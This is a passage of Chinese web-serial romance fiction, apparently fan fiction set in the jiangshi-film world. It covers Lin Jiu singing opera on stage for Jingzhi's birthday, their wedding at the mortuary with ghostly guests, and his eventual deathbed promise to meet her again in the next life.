“婷婷表妹,没想到你经商头脑不错嘛,这一大早,来的人还挺多。” 蔗姑忍不住赞叹出声。 她左看右看,茶楼几乎坐满了,客来宾往,伙计们打完招呼后,又各自井井有条忙碌去了。 静之有些担心问:“还有位置坐吗?” 婷婷一声响指,门口的伙计立刻迎了上来,“有位置有位置,老板一早就留位置了,在二楼!” 说罢,他迎着众人穿过一排排整齐的卡座,从右侧楼梯走到楼上。 估计楼上的茶水费比较贵,人倒是比楼下的少。 但是装修也比楼下豪华了不少。 每个卡座之间的距离也变大了,还用屏风一一隔开,给vip客人保留了一定的隐私。 只是,每个卡座,依旧是4人位的。 林九和蔗姑路过几个位置后,便明白这个道理。 两人快步走着,你追我赶,你推我挤,终于—— 婷婷一解外套,慢慢的坐到静之旁边。 秋生一声惊呼:“诶诶诶!” 文才欲言又止:“婷婷你……” 屁股刚沾上皮质的沙发面,婷婷好不容易练就的波澜不惊表情中,不禁升起一丝疑惑。 “……怎么了?” 林九抢先一步,坐到沙发里侧,与静之面对面,他朝斜对面的婷婷微微一笑。 “没什么,坐吧。” 蔗姑对着林九的侧脸猛翻白眼。 以前喜欢他的时候,跟他坐同一张椅子,就能开心死她。 今天要跟他坐同一张沙发,她只想踹他一脚。 以前怎么就没发现,这人这么狗呢? 她不情不愿的坐下,离林九一米远。 林九谨记答应静之的承诺,恨不得贴着墙坐。 秋生和文才“没有办法”,只能一人霸占一整张沙发,爽得他俩屁股不断挪来挪去的,还不用点菜,一坐下,就自动有人给他们端菜跟茶水上来。 没见过世面的两个人,看着各色精致的菜肴不断被端在他们桌上,他俩彻底坐不住了。 “哎呦,三个烧卖吃不饱。” “哇哇哇,还有?这虎皮鸡爪我爱吃,不过怎么只有这么点啊?” “这什么,透明的饺子?里面好像还有虾仁诶!” “师兄,你快吃这豆豉蒸排骨,都脱骨了,巨好吃!” “靠!你都吃完了,还叫我吃!” 文才嘬着手指,嚼着唇齿留香,咸淡适中的排骨肉说:“手慢无,排骨只有两块嘛。” 这桌跟饿死鬼投胎似的,风卷残云。 另外一桌,则是暗流涌动。 不过只有林九跟蔗姑。 两人从桌上较劲儿到桌下,不过都是暗暗较劲儿,不敢打扰了静之的兴致。 毕竟,她好像跟婷婷聊得很开心的样子。 …… 许久不见,婷婷是愈发稳重了。 不过双十年纪,静之竟在她身上看出了隐隐的上位者气势,原本清澈的眼神,现在也变得深沉许多。 她再也不是原来那个只爱化妆的天真小女孩了。 静之笑着说:“婷婷,我看你生意越做越大了,这店刚开,我看势头很不错嘛。” 婷婷抿嘴一笑,作为东道主,她主动为桌上其他三人添茶,边说着: “要不是有你和九叔,我早就跟我爹一样变成僵尸了,哪还有现在。” 她放下茶壶,拿起茶杯对着里侧座位的二人举杯。 “承蒙九叔为我爷爷找了个风水宝地,还有……静之,你那天晚上对我说的话,我一直都记得的。” “我以茶代酒,敬你们一杯!” “还有,祝你生辰快乐。” 林九倒是挺习惯这种场面,端起杯子,点点头示意了一下,就慢慢呷了一口茶水。 静之挠挠脸,又挪了挪屁股,表情略显局促,“哎呀,我就是感叹一句,别这么严肃嘛,你能来这里,我就很开心了。” 边说着,她拿起茶杯牛饮了一口,然后被烫得龇牙咧嘴。 婷婷被她这一打岔,原本绷得直直的腰身,渐渐靠到沙发椅背上,捂着嘴轻笑出声,“你啊,还是老样子。” 果然,静之身边这个位置,她抢对了。 坐在静之姐身边,让她莫名的放松呢,好久没有体会到这种感觉了。 完全不知道婷婷已经变成大尾巴狼的静之,此时正傻傻的低头,吃着林九给她夹的凉菜,还不时侧头对婷婷竖起大拇指,两只清亮的眼睛,因为吃到好吃的东西,变得亮晶晶的。 “婷婷,果然中餐最合我胃口了,我还以为今天要吃西餐呢,真好吃,你快吃呀!” 婷婷看着吃得两颊鼓鼓的静之,一双杏眼变得弯弯,右手持起手帕,轻轻揩去她嘴边的酱料,“慢点吃,还有很多呢。” 静之愣了一下,然后咽下口中食物,对婷婷笑得开心,“嘿嘿,你人真好。” 蔗姑撇嘴,她不好吗? 她碗里的菜,有一半还是她蔗姑夹的呢。 蔗姑只觉得【小猫咪最要好的朋友】这一位置,岌岌可危。 而林九,则垂下眸子,在心里默默劝自己—— 她们都是女的,没事的没事的,没事哒!!! 就在这时,一只烧麦被夹到蔗姑碗里。 蔗姑一抬头,就看到寿星本人对她笑得灿烂,“蔗姑你快吃,我尝过了,超好吃的。” 蔗姑朝婷婷碗里看了一眼,她也有呢。 算了。 猫这一生中,最要好的朋友,可以有两个。 她的目光朝左边一瞥。 嘿嘿,他师兄没有诶。 好了,她终于爽了。 林九的嘴倒是越抿越紧,刚刚给自己做的心理建设轰然倒塌。 桌子底下的脚尖,轻轻与静之的脚尖相抵,又默默施了点力,仿佛在诉说着他的不满。 静之感觉到了,她一摊手,有些无奈的说: “烧卖一碟只有三只。” 她的目光搜寻着桌上的菜色,然后夹只排骨放他碗里,“喏,这个我刚刚吃了一口,好吃,你试试!” 林九看着那个空掉的小碟子,心想,这碟只有两块,她一块,他一块。 剩下两个灯泡都没得吃,好好好,他也开心了。 两人头对头在里侧啃排骨,坐在外侧的两人想法高度重合—— 蔗姑:【林正英就是个大醋坛子!】 婷婷:【九叔好像很容易吃醋呢。不过,静之姐夹的排骨,她也想吃……】 于是,二人混战,变成了三个人的争宠。 一天下来,婷婷好像又恢复了以前那股活泼劲儿。 倒是林九,被蔗姑和婷婷两个人联手排挤,脸雀黑,却还是跟着她们仨到处逛吃逛吃。 他逛,她们吃。 而秋生和文才就是拎包小弟。 逛了许久,又吃了午饭,三人终于消停下来了。 婷婷邀请她们去她家的绸缎庄看看。 专人专车接送,那庄子规模之大,又引得两个闺蜜不住赞叹,静之不禁转头问婷婷: “你20了诶,打不打算入赘个夫婿一起帮你管理产业啊?” 边说着,她悄悄给旁边的秋生使了个眼色,目光接触到文才时,她犹豫了一下,然后也对他眨眨眼。 其实……她觉得这俩都配不上婷婷…… 婷婷对这种事已经习惯了,她笑着拒绝: “不用了,我现在只想好好守住我爹的心血,暂时还没有成亲的想法。” 静之无奈,朝眼巴巴的秋生和文才摇摇头。 婷婷要做个事业型女强人,她其实也是支持的。 人不一定要结婚,但一定要经济基础。 不然这过的日子,就不叫生活了,叫生存。 …… 时间终于来到傍晚。 林九突然不见踪影。 静之皱着眉在街上扫视了几圈,“算了……他可能有事,我们先去吧。” 那家伙……不会放她鸽子吧? …… “九叔,你确定,你真的要这么做吗?” 林九想着今天静之为蔗姑和婷婷绽放的笑颜,忍不住点了点头。 他也想,让她因他而笑呢…… 那人咕咚一声,咽了口唾沫,他紧了紧手中的刀柄,“我这一刀下去,开弓就没有回头箭了哦!” 第180章 林九的秘密礼物 林九往他站的位置,微微扬起脸,“来吧。” …… 锣鼓喧天,戏已经开演了。 林九依旧没到。 静之的眼神越发黯淡。 秋生斥巨资买了一小袋瓜子递给她,“嗐,出来玩嘛,开心点。” 静之默默接过瓜子,分了旁边两个闺蜜一些,然后有一口没一口的磕着,眼神频频的朝戏棚子入口处看去。 他可真是好样的,真的放她鸽子了。 突然—— “此酒又不甜,又不酸,正合二叔你意。” “如此说,放下便是。” “还是接住好。” “放下。 “接住好。” “放下。” 婉转如哝语的戏腔突然响起。 这台词。 这戏腔。 已然刻进了她骨髓里。 静之骤然回头,死死盯着台上正掐着兰花指走出来唱戏的花旦。 手中的瓜子哗哗洒了一地。 “人生若只如初见。” 这句话,是阿风跟她说的。 深埋在心底的记忆,被他这一嗓子,直接扯回了他们上辈子初见的那个夏天。 静之傻傻的看着台上正唱戏的林九,他的一颦一笑,突然与她对二娣的记忆相重合。 唯一不同的是,二娣当时唱得游刃有余。 而林九声线有些发紧,而且他露在外面的耳朵,已然红了个彻底。 毕竟,这台下坐着的,可都是他熟知的乡里乡亲。 余光忍不住瞄了一眼台下的静之,却见她不知何时站了起来,早已泪流满面。 静之突然捂住嘴,以防自己痛哭出声。 他怎么可以…… 他最好面子的…… 他可是又古板,又严肃的九叔啊! 蔗姑一行人在林九扭着腰走出来时,他们手里的瓜子也纷纷洒了一地。 蔗姑眼睛都不带眨,死死盯着台上的林九,“我嘞个乖乖,万万没想到,林正英这回搞了个大的!” 婷婷则再也绷不住她淡定的表情,小嘴半天合不上。 脑子里只余下一个念头——这辈子如果她要嫁人,她也要像静之姐一样,找个肯为她放下所有的人! 秋生和文才则是不停的揉着眼睛,仿佛不敢相信眼前看到的一切。 揉半天,眼睛都揉红了,那唱戏的花旦,那小方脸,就是他们师父没错。 秋生:“哇靠!人活得太久,真是什么都能看到!” 文才:“你才活了二十几年,不过……我也从来没见过师父这样呢……” 底下的乡亲们也窃窃私语着。 “喂,那演潘金莲的,是九叔没错吧,我没眼瞎吧?” “没错没错,今天这票价,算是值了!” “那姑娘哭什么,这不是唱挺好的吗?” “可能九叔唱太好,给她唱哭了,鼓掌鼓掌!” 有人带头,就有人跟风。 一时间,整个戏棚顿时响起了雷鸣般的掌声。 林九也才练了半个月,其实唱得很一般,嗓子也有些夹。 听到观众说有人哭了,他趁着角色必要的转身,捻着兰花指朝台下一看。 还没看清楚是不是她,他就被一道暗红色的身影紧紧搂进怀里。 馨香满怀,是他为她喷上的香水。 她的声音里带着浓重的鼻音,“不唱了,我们不唱了好不好?我跟你回义庄,呜呜,我跟你回去。” 静之也说不明白现在是什么心情。 感动,肯定有的。 心疼,却大大超过了那点感动。 她不要林九以这种方式来讨她欢心。 而且,一想起二娣,她就更觉得对不起林九了。 林九轻轻拍着静之的肩膀,抿了抿唇,才慢慢用回自己原来的声音说着: “你走的那天晚上,我做了个梦。” “梦里,他对我说,有机会的话,那曲未唱完的戏,一定要好好唱完给你听。” “他说……他叫梁二娣……他一直就在你身旁陪着你,叫你不用在因为爱我,而感到愧疚了。” “静之,我就是他……是不是?” 静之无法回答他,连点头也不能,只是愣愣的站在原地,看着他,嘴都哭成个方形了,彻底哭成了个小傻子。 林九轻轻擦去她的眼泪,眼角不由自主的,也跟着流出一滴泪水。 这滴泪带着额边小小的那颗痣落下。 痣,被洗刷不见了。 那是二娣的执念。 此生,能再唱一次戏给她听,他心满意足了。 “下去吧,听我唱完好不好?” 她不回答,他也从她的神情里知道了答案。 命运使然,既然真是前世所托,那他,就好好为她唱一次戏吧…… …… 鼓点落,戏腔又起。 他是林九,他也是梁二娣。 他是她的林道长,也是,她一个人的大花旦。 卿卿,不能说出口的【我爱你】,我在戏里对你说…… 第181章 戏散场,爱不止 静之下了场,万分珍惜的看着林九在台上唱戏。 她发现,他唱得越发认真了,耳朵的红意渐渐褪去。 每一次与她的对视,都带着越来越浓重的爱意,和珍视。 为了她,好像这么做,也没什么大不了的。 戏,终于落幕了。 “安哥!安哥!安哥!” 秋生站起来振臂高呼。 全场观众愣了两秒,也跟着站起来大叫。 这一刹那,“安哥”两个字穿透了整个戏棚。 静之又站起来后,全场观众瞬间安静下来。 他们莫名觉得,九叔跟这姑娘的感情戏码,比那老套的水浒传吸引人多了。 静之把手伸向林九。 “阿九,我们回家。” 边说着,她转头朝大家鞠一躬,“谢谢大家捧场,我家阿九要跟我回家了,就不安可了哦!” 她家阿九? 这俩果然有猫腻。 人群里突然有个人喊,“九叔!你什么娶人家呀?” 林九笑了笑,朝台下一拱手,“一月三日,众位若得闲,欢迎一起来义庄喝杯酒水。” “哦哦哦哦哦!” 林九在所有人各种起哄中,牵住静之的手,朝后台走去。 等他换回自己的衣服,静之眼里又浮上一抹心疼和恍惚。 他现在……剃掉眉毛的样子,跟上辈子的二娣,简直一模一样了。 就是气质上,多了些严肃和稳重。 “阿九,以后不要这样了,我会心疼。” 林九拿下她不住抚着他眉弓的手,紧紧握在手心。 “今天晚上,你都没笑呢,我想让你开心来着,不是故意惹你哭的。” 听到他的意图,静之的眼里又泛起一阵热意,“我很开心,但我不想踩在你的自尊上开心,你不需要……” 话还没说完,林九就摁住她的嘴,“我不觉得为你唱一出戏,就没了自尊。” 后台的布帘突然被撩起,蔗姑伸头进来说: “卿卿我我完没有啊?婷婷说她准备了烟花,就在外面河边,错过了你们就看不到了哦!” “来了来了,要看!” 几个人一路走到河边,蔗姑频频转头看向林九光秃秃的眉弓,怎么看怎么不习惯。 “师兄啊,你可真对自己下得了狠手。” 林九只回答了两个字。 “值得。” …… “砰!” “砰砰砰!” 烟花响起的瞬间,静之想了很多。 她想到了林风,想到了二娣。 两辈子,他们一起看过的烟花不知凡几。 也是,她何必纠结呢。 反正,一直在她身边的,都是他啊。 …… 蔗姑跟婷婷这回也不跟林九抢静之了,好心的留他俩依偎在河边看烟花。 六个人分成三对。 秋生和文才坐在河边草地上,不约而同捧着脸,看着天空中绚烂的烟花感叹出声。 “师兄,真好看。” 秋生看一眼烟花,又看一眼那对情侣的方向,莫名的,他又想起了小玉。 小玉和他,在某一瞬间,也是真心爱过的吧。 “是很好看。”他心不在焉说着。 最好看的,已经离他而去。 从此以后,他只能这样靠回忆度日了吗? “诶诶,有人落水了!” 秋生转头看去,有个淡紫色的身影在水中沉浮。 来不及多想,秋生鞋一蹬,一个纵身,一头扎进水里。 …… 人救起来后,他竟发现,这女人,可真像小玉呢。 “小姓刘,名秋生,请问您叫什么名字?” “我叫小钰。”她浅笑着,又抚着唇瓣,羞怯的看了湿漉漉的秋生一眼。 “我该怎么报答你?” 秋生挠着头,本来想说以身相许,却突然住嘴,停了好几秒才站起来说: “不用,举手之劳罢了,下次来河边玩要小心。” 他刚刚看过了,这个小钰,在水中是有倒影的。 搞替身这一套,他秋生不会做这么缺德的事儿。 他快走几步,找静之借来披风,递给小钰,“遮遮吧,冬日寒冷,小心着凉。” 说完后,秋生再不留恋,转头就走。 他决绝的背影,看得静之啧啧称奇。 她倚进林九怀里,看着秋生的背影说: “那个女人,跟之前的那个女鬼很像诶……秋生这段时间真的成长了不少呢。” 林九捻动了一下手指,了然的点点头。 看来,他这个大徒弟命里的桃花劫,这回是彻底度过了。 “烟花放完了,我们回去吧。”他说。 她说:“再等等,还有一件事没做。” “什么事?” 静之转过头,扯下他的领子侧头亲了上去。 厮磨许久,林九嘴都被亲痛了,静之才肯放开他。 “阿九,你不可以说,我可以说。” “林九,我爱你。” “我爱你我爱你我爱你!!!” 她唤得一声比一声响,一声比一声更情真意切。 旁边却没有几个人嘲笑他们,反而都面露羡慕。 一定是特别的缘分,才能够让两个八竿子都打不着的人如此相爱。 林九被她表白得心神荡漾。 第一次,他真的不顾脸面,在众目睽睽之下,把静之按在树干上亲。 蔗姑和婷婷边偷看,边咬耳朵。 蔗姑:“啧啧啧,世风……那个月下,人……猫心那个不古。” 婷婷:“我倒觉得挺好的,虽说发乎于情,止乎于礼,但若是能全部止住,那还算是爱吗?” …… 第182章 奇妙的婚礼 你见过三更天的义庄吗? 1月3日这天,空气湿冷,大家正是好眠的时候,静之又见到了。 她眼睛半睁半闭,靠在别人肩头,还在撒着娇,“阿九,别闹,我困。” 蔗姑伸出右手掰开她的眼皮,“看看我是谁,今天你就要成亲了,还睡?!” 婷婷站在床旁边正打量着那条拖尾拖老长的白色婚纱,还不时点评一句,“没袖子好像会冷到她诶,手套呢,我定制的半透明的薄纱手套呢,阿才!” 一下人忙得脚打后脑勺,给林九送完衣服,就赶紧捧着个盒子进来。 “来了来了,手套在这!” 婷婷接过盒子打开看了一眼。 嗯,大概可以挽到她的上臂,就走个流程,结束后还有白色披肩,应该不会太冷。 她赶紧转头朝蔗姑说:“快让她起来洗漱,时间紧迫,别睡了!” “在叫了在叫了!” 蔗姑疯狂摇着静之的肩膀,“姑奶奶,你赶紧醒醒吧,昨晚是做贼去了吗,怎么困成这样?” 静之任她摇着,头往后仰,眼瞅着又要睡过去了。 蔗姑啧了一声,就开始解她脖颈间的盘扣,“不管了,我们先帮她把衣服换上。” 等两个人关了门,把静之扒得只剩一件肚兜时,她终于醒了。 静之想拢了拢床上的被子,遮住满身的痕迹,双颊绯红。 “那什么……你们转过去,我自己换。” 蔗姑和婷婷看着她露出来的脖颈和胳膊上的点点红痕,忍不住啧啧出声。 蔗姑恨铁不成钢,直点静之的额头压低声音骂道:“你昨晚不会跟他……洞房了吧?就差一天,林正英那个臭不要脸的!我去找他!” 边说着,她气冲冲的就要往隔壁房间跑。 静之一把甩开被子,从后面死死搂住蔗姑的腰,“别去别去,不是他。” 蔗姑猛的回头,“什么?不是他还能是谁?” 静之垂着头,整个脑袋烫得都快冒烟了。 “是我,是我先的,我们……就是亲亲,没做到最后……” 房间里的两个闺蜜无语凝噎。 呆了十几秒,才找回自己的理智。 蔗姑一脸忧愁的对婷婷问:“怎么办,她这红痕,穿这衣服,不得全曝光了吗?” 婷婷掏出一盒她从国外淘到的新货,“没事,这玩意听说叫遮瑕霜,咱们试试看。” …… 静之红着脸,保持缄默。任她们两个人在自己身上涂涂抹抹。 毕竟昨晚,她在阿九身上搞出的痕迹,可不止这一点…… 另外一间房,现在同样一片死寂。 “师,师父,你们……” 秋生看着林九脖子上和背上的咬痕跟指甲印,就知道他昨晚玩得有多疯。 林九恼羞成怒,赶紧套上白色衬衣,边扣扣子边骂:“谁叫你们转过来的,给我转回去!” 秋生端着放衣服的盘子转过去,脸上却浮起一抹坏笑。 胳膊肘怼怼旁边的文才,“诶,师娘可真猛,这回不知道是谁主动的哦?” 文才虚着眼神想了一会儿,然后侧头小声说:“肯定是师娘。” 就在这时,一只手从他们两个肩膀中间穿过,挑走秋生托盘上的白色西装裤。 只听得两声脆响,两个徒弟的脑袋各挨了一栗子。 “你们把东西放下,先出去,我换裤子。” 秋生转头,眼神从林九的脸上,渐渐下移,“师父,难道,你…她…你们…” 林九脸色涨得通红,一把抢过托盘,“……滚出去!” …… 两人被林九轰出门外后,坐在台阶上闲聊。 “我猜师娘先主动,然后师父后面受不了了,会反攻的。” 文才反驳道,“不一定,师父最疼师娘了,我看他宁愿憋死,也不会在这种节骨眼儿上,那什么……” 秋生缓缓的摇摇头,以一种过来人的姿态教育文才: “你不懂,大男人血气方刚的,真到了那时候,谁憋的住啊!” 门后。 穿好裤子,正扎着领带的林九,微微动了动耳朵。 臭小子,你憋不住是你的事儿,我林九可不是那种人。 他照着镜子看了看被静之用灵力催生出来的两道剑眉,不禁柔了眉眼。 她可真是……不舍得让他在外人面前丢一点面子呢。 有妻如此,夫复何求。 …… 之所以要起这么早,是因为新娘头真的难搞,还要化妆。 林九那边已经早早换好衣服,布置好喜房了,静之这边还在给她挽发髻。 挽发的婢女:“小姐,她头发太滑了,老是往下掉!” 蔗姑掀开一点门缝,看了看大亮的天色,和外头早早赶来的几个宾客,急得嘴角都要冒泡了,“抹点水,搞快点,你们行不行啊?” 婷婷不紧不慢的从化妆包里掏出一瓶液体,“呐,听说叫定型摩丝,拿去用,别急,越急越弄不好。” 静之静静的坐在梳妆台前,一双被细细勾出眼线的大眼不住的瞧着自己。 那遮瑕膏还挺好使,红印子都不见了呢。 里头估计还加了闪粉还是啥玩意儿,她怎么觉得她的锁骨亮闪闪的。 刚一低头,头皮就被扯得一痛。 “静之小姐,您别动,不然全乱了。” 蔗姑听到声音赶了过来,轻轻拍了一下她带上半透明白色手套的手,“都怪你,你昨晚要是不……我们就不用花这么多时间给你涂那东西了。” 静之瞧了两眼今天特意盛装打扮的蔗姑,突然绽放出一个软软的笑容。 “蔗姑,谢谢你。” 她三更天就来了,那得多早起来收拾自己啊。 婷婷也是,她甚至盘头了,估计也是一宿没睡吧。 有这么两个好姐妹,她可真是太幸福了。 “婷婷,谢谢你。” 突然,两根手指不约而同的点上静之两侧的太阳穴。 蔗姑无奈又宠溺:“你啊……” 婷婷宠溺又无奈:“你啊……” “别戳,等会妆花了。” 静之拿下她们两只手指捏在手心,笑嘻嘻的说:“放心,等你们以后成亲了,我也去帮忙!” 此时的静静万万没想到,这两个闺蜜没一个成亲的。 蔗姑专注她的道家事业,成为了远近闻名的坤道。 而婷婷,各种分店都开到省城去了,数钱数到手抽筋,甚至让她没空去感叹两句单身的寂寞。 …… 第一次结婚,是与林风。 当时她的死讯已经传播出去了,为了不吓到街坊邻居,他们只简单的邀请了林风的师兄弟。 第二次成亲,是与二娣。 为了不引起倪飞的注意,他们连放鞭炮,都只敢放小串的。 这一次,可真是太隆重了。 静之从房里走出来,看到满院子的人时,顿时有些词穷。 作为e人的她,这下也变i人,刚伸出去的脚正欲收回,手突然就被侧边伸过来的大手牵住。 林九觉得她今天纯白的装束像个仙子,以防她就此飞走,她的手被他紧紧攥在了手里。 静之侧头一看,“阿九,你今天好多帅啊,不是,你真多人,你……” 林九本来是个i人,这会儿见她这副连话都说得颠三倒四的样儿,不得不红着脸挺起胸膛,当个e人。 “别这儿,我在紧张呢。” 得,夫妻俩这回都 i 了。 蔗姑捂嘴偷笑,她师兄刚刚是想说,别紧张,他在这儿呢吧。 艾玛,这俩真是乐死她了! …… 见他俩出来,众人纷纷上前,抱拳给他们说着恭喜恭喜。 就在这时,四目跟千鹤架着身子不住往后仰,紧绷着脸,显得有些不情不愿的石坚走过来。 四目:“来都来了,大师兄你就来打个招呼嘛。” 千鹤:“就是就是,我都不怪你了,你不会还放在心上吧。” 石坚眉头突然压低,脸上多了几分失志,他对着千鹤说:“对不起,若不是我看管不严,小北也不会……” 四目大着胆子上前捂住石坚的嘴,“干什么呢,今天是师兄的大喜日子,别说这些。” 石坚叹了口气,上前一步,停了好几秒,才有些别扭的说:“林凤……” “叫什么?”他腰间佩戴着的葫芦突然伸出一只手拧上他的腰,“说好了哦,要好好跟人家打招呼,我才不会缠着你~” “说话算话,喝完喜酒,你就给我走。” 石坚被拧得浑身直起鸡皮疙瘩,快速解开葫芦,朝四目一丢,“林师弟,恭喜!” 说完以后,逃也似的,大步走到离四目最远的一桌坐着。 四目低头看向那有养魂作用的葫芦,不禁有些啧舌。 女鬼嘛,随便放到坛子里,每天三根香供起来就行。 他大师兄偏偏要随身携带,还特意弄了个法器装她,嘿嘿嘿~ 四目低头对葫芦说:“你跟着我……” 葫芦突然出声,“谁要跟着你!” 说完,那葫芦穿过一只又一只迈过来的腿,径直怼到了最远处石坚的怀里去。 静之的慌张失措都被小丽的举动打散了不少。 看着被一张超大符纸定在墙上的葫芦,还有铁青着脸,却红着耳朵的石坚,静之侧头轻声问道: “他俩……这样没事吧?” “你还有空管别人?” 林九紧了紧她的手,“走吧,我们去敬酒。” …… 众人从中午喝到日落西山,才个个红着脸颊,乘兴而归。 从来没有一回,他们是高高兴兴来义庄,然后高高兴兴走的。 席间有葫芦会飞,有僵尸给你上菜,有可爱的婴灵抱着你的脚,说要去你家投胎的。 这奇妙的体验感,算是彻底拉满了。 …… 秋生跟文才忙一天了,林九也没有拘着他们,今天任他们喝个痛快。 婷婷跟蔗姑这对表姐妹也大着舌头抱到了一起去。 没有人,再来打扰他们了。 龙凤烛泪渐渐淌下,放下的幕帘里,却突然传来林九的挣扎和无奈的声音。 “卿卿,别这样。” 然后传出来她又是撒娇,又是傲娇的软糯声音,“就要,我就要!” 林九的头重重砸回绣着交颈鸳鸯的枕头上,“唉…你啊。” 静之:“……你是我的了,阿九!” 林九:“……莫急,慢慢来。” 静之沉默了几秒,突然捏住他咬紧的牙根:“阿娇,你可真够能忍的。” 林九抵着她的额头,眼里尽是快溢出来的爱意,他犹豫了一下,才微抬起头凑到她耳边轻声问: “今夜,叫我相公可好?” 静之勾住他的脖子,朝底下的人眨眨眼,轻笑着说: “有时候,不用一直问,你可以对我强势一点的……相公……” 林九如愿以偿了,跟着轻笑出声,然后翻身。 这夜,他终于主动一回了。 林九想,也许,他也有忍不住的时候,比如现在…… 第183章 你还来找我好不好? 窗外偶尔闪过几声鸟鸣,冬日的阳光打在红色的床帐上,透进来隐隐约约的光。 床上的两个人早就醒了。 此时正一个抬起下巴,一个低头,深情对视着。 “相公。” “卿卿……” “阿九。” “卿卿……” 门外的秋生捂着腮帮子,酸得龇牙咧嘴,“哎呦喂,腻歪了一整晚,还没腻歪够啊?” 文才扯走他,然后塞一把扫把进秋生手里,“蔗姑说,人家这叫新婚燕尔,叫你少掺和。快点扫地吧,昨晚喝多了,活都没干呢。” 秋生下巴杵在扫把柄上,揉着额头看向文才,“哎呦,我头疼,扫不动了。” 文才:“是头疼,又不是手疼,快点儿吧,不然等会师父出来又要骂了。” 秋生拿着扫把走到院中,看着正在拆桌面的文才说: “你信不信,等会师父出来不会骂人。” “为什么啊?没干活就是要挨骂。” 秋生:“洞房花烛,温香暖玉,乐不思蜀~我看啊,他今天早上,一定是笑着出来的。” 房里。 静之窃笑着看向林九,“阿九,你会笑着出去吗?” 林九没有回答她这个问题,反而伸手揉了揉她的腰,凑到她耳边问: “有没有哪里不舒服?要不要我……” 刚说到一半,他退开一点的身子,又被她搂了回去。 静之枕着林九的胸口,手指比划着他胸口的几个指甲印,声音里带上些歉意,“我没事,相公对我……很温柔呢,倒是你……你没事吧?” 林九略略低头,看着自己满身痕迹,无奈一笑,“没事。” 她这猫爪子,是挺利的,心情一激荡,就爱挠他。 静之任他揉捏着自己的手指头,另外一手向下抚上自己腹部,炸出一句: “你说,昨晚……你……我们会不会有孩子了?” 林九突然怔住,思索了好久,才捧着她的脸直视她问: “你想要孩子吗?” 静之微微皱眉,听他的意思,他是不想要? “你不要?” 林九微抻下巴,啄了一口她越拧越紧的眉心,才轻声解释: “我不想让你痛,而且,修道之人,六亲缘浅,我早就明白这点。” “这辈子,我有你就行了。” 静之突然咬一口他的肩膀,嘴角微微上勾,有些开心的说: “还以为成亲第二天,你就要跟我吵架呢,你终于会说好听话哄我啦?” 林九却是一脸认真,把她的头又掰回来说: “我是说真的,我有你就够了的。” 静之默默凝视着他一本正经的表情,然后凑到他耳朵旁说: “看在你这么乖的份上,我们再来……?” 林九的耳朵唰的一下红了个彻底。 “额,凡事不可贪多,适量就……” 话还没说完,那床大红被子,就从头到脚给他罩了起来。 “静之,该起来晨练了,不可荒废时光。”他如是劝着。 静之正跟他紧揪着领口的双手奋战,还得抽空反驳他一句: “这怎么就不算晨练呢,你放手,不然我又要挠你了。” …… 外头的院子,只有几盘盆栽上头,还散落着一点鞭炮的红纸衣。 桌椅,包括满是瓜子壳,橘子皮的地板,都被两个徒弟清理得干干净净。 已经等到日上三竿的两人,看着那依旧紧闭着的房门,皆摇摇头,收了一桌子早已凉掉的早餐。 秋生露出一个了然的微笑: “直接做午饭吧,对了,给师父那份汤里加点枸杞。” 文才:“……不至于吧。” 秋生斜他一眼:“你懂还是我懂?” 文才:“……你虚,师父可不一定虚,区区一晚加一早上,我想他顶得住。” 文才万万没想到的是,林九也没赶上午饭。 等到夕阳西下,缠死人的静之才愿意放他一马,让他走出房间。 看着一脸春风得意的林九,正扒饭的秋生怼怼文才的胳膊肘,放下碗,朝他伸出手,“我猜对了,他是笑着出来的,50文钱,拿来!” 文才没理他,他屁颠屁颠的跑进去厨房,把那锅加了枸杞的汤端了出来。 是的,文才还是加了,加了两把。 他想,铁人也经不住他师娘这么缠…… …… 院子里头,秋生趁着给林九打饭的功夫,偷偷打量了一下他的脸色。 啧,红光满面,眼神坚定且柔和,一点不像他当时被掏空了的样子。 难道,师父真是老当益壮? 不仅这样,当他的目光看着从新房里缓缓走来的静之时,他又惊了。 不是,这两人……怎么一个比一个精神? 拿双修功法跟林九一起练的静之,深藏功与名。 就在这时,小雨也从停尸房走出来。 林九定睛看了一眼,不由皱起眉头,赶紧快步穿过庭院,走了过去。 “昨天谁动过他了?” 秋生放下碗筷,伸长了脖子看了一眼小雨,笑着说: “师父你就放心吧,是大师伯,他说他下了个符咒,若是小雨主动伤害别人,三味真火便会直接给他焚为灰烬的。” 林九蹲了下来,食指轻轻抚上小雨额头的火型印记,轻轻剜了小雨一眼: “人家要对你下咒,你就不知道躲的吗?” 小雨伸头,用刚长出来的一头毛茬蹭了蹭林九的手心,“爹,是我主动提的,不这样,你们都不会放心的。” 秋生挑了下眉,又赞叹一声,“呦,小鬼,你最近说话越来越利索了嘛。” 小雨:“……吃你的吧,吃也堵不上你的嘴!” 秋生:得,骂人也挺利索的。不过,他这些话,他怎么听怎么耳熟呢? 静之走过来扯扯林九的袖子,“以后你别在他面前骂秋生文才了,你看他都学会了。” 林九悻悻站起来,摸了摸鼻子应了声好。 “妻奴。”秋生瞥了他一眼,小声嘀咕。 林九:“你说什么?” 静之:“阿九~” 林九:“……” 算了,不骂就不骂,不能教坏小孩子。 …… 这一辈子,林九和静之果然无儿无女。 秋生后来因缘际会,又与那位叫小钰的女子看对眼了,两人成了婚,秋生也继承了他姑妈的胭脂店,生意做得还挺好。 文才则是看了一辈子的义庄,跟在林九和静之身边,和小僵尸两个人打打闹闹了一辈子。 林九临了时,看着特意照顾他的心情,故意把自己的外貌变老的静之,不禁又心疼上了。 “你变回来,我想最后再看你一眼。” 静之捧着他枯瘦的手贴在自己脸颊边,随着两颗泪落下,她脸上的皱纹和老人斑渐渐消失不见。 不过几个呼吸间,她又回到了他初见时候的样子,林九满足的笑了。 “卿卿,我算了一辈子也算不出来,为什么你会一次又一次来找我,但是,我会努力做好自己该做的事情……” “下辈子,你还来找我好不好?” 对上他那双期待的眼睛,静之无法说个不字。 老男人疼媳妇儿,是真的放在心坎上疼,这辈子,她是真的被他放在心尖尖上宠的那种。 静之回忆起以往的一幕幕,不禁潸然泪下。 她哽咽着说:“好,不过你记得我说过的哦,下辈子,你给我离女人远点儿,再像这辈子一样,给我搞出这么多感情债,我就不找你了。” 林九乖乖点头,他甚至伸出一根尾指,想要幼稚的同她做个约定。 “拉勾,我不找女人,你一定要来找我,我会等你的。” 看着他渐渐放慢的呼吸,静之深呼吸了两口气,试图缓解一下越来越空的心口。 她用力勾住那根手指,俯下身子,抵住他微凉的额头,盯着他渐渐涣散的瞳孔说: “我答应你!你也要记得我说的,我不喜欢你留太长的头发,要把自己收拾得干干净净,我才去找你。” “还有,名字不许改,不然我就找不到你了!” 